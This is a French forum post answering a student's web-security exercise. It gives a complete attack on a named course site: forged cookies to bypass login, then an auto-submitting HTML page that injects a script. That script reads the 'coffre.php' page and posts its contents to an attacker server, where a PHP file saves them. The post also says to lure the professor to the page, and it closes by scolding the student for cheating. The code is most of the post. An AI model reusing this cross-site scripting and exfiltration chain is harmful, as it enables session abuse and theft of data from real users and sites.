Supprimer un message
Raison de suppression du message (envoyée à l'utilisateur)

Voulez vous réellement supprimer ce message?  


rfr
Suffit de définir les cookies "à la main" dans firefox par ex:
connected=true
email=f@f.com
password=nimporte

et d'aller sur la bonne url.

Pour la phase2:

bust.html

<html>
<head>
<title>bust</title>
</head>
<body onload="init();">
<script type="text/javascript">
function init() {
document.getElementById("form").submit();
}
</script>

<form id="form" action="http://esidcf.alwaysdata.net/search.php" method="post">

<input type="hidden" name="personName" value='</div><script type="text/javascript" src="http://server/test.js"></script><div>'/>
<input type="submit" />
</form>
</body>
</html>


test.js

function httpGet(theUrl)
{
var xmlHttp = null;

xmlHttp = new XMLHttpRequest();
xmlHttp.open( "GET", theUrl, false );
xmlHttp.send( null );
return xmlHttp.responseText;
}

function httpPost(theUrl,data)
{
var xmlHttp = null;

xmlHttp = new XMLHttpRequest();
xmlHttp.open( "POST", theUrl, false );
xmlHttp.send( data );
}

var result = httpGet("http://esidcf.alwaysdata.net/coffre.php");

httpPost("http://server/damnedpost.php", result);


damnedpost.php

<?php
file_put_contents('/tmp/xxtest.txt', file_get_contents('php://input'));
?>


Suffit de rediriger le prof vers l'url http://server/bust.html

Il y a un exception dans le httpPost de test.js mais comme ça fonctionne quand même, je n'ai pas cherché.

Mais comme toi non plus et que la solution à l'exercice est ici, tu auras zéro et puis c'est tout.

Maintenant il faudra expliquer à ton prof pourquoi tu as essayé de tricher et que maintenant, son exercice est tout pourri parce que la solution est sur le net. C'est malin hein ...
Informaticien.be  - © 2002-2019 Akretio SPRL  - Generated via Kelare - Hosted by Verixi Internet Services
The Akretio Network: Akretio  - Freedelity  - KelCommerce  - Votre publicité sur informaticien.be ?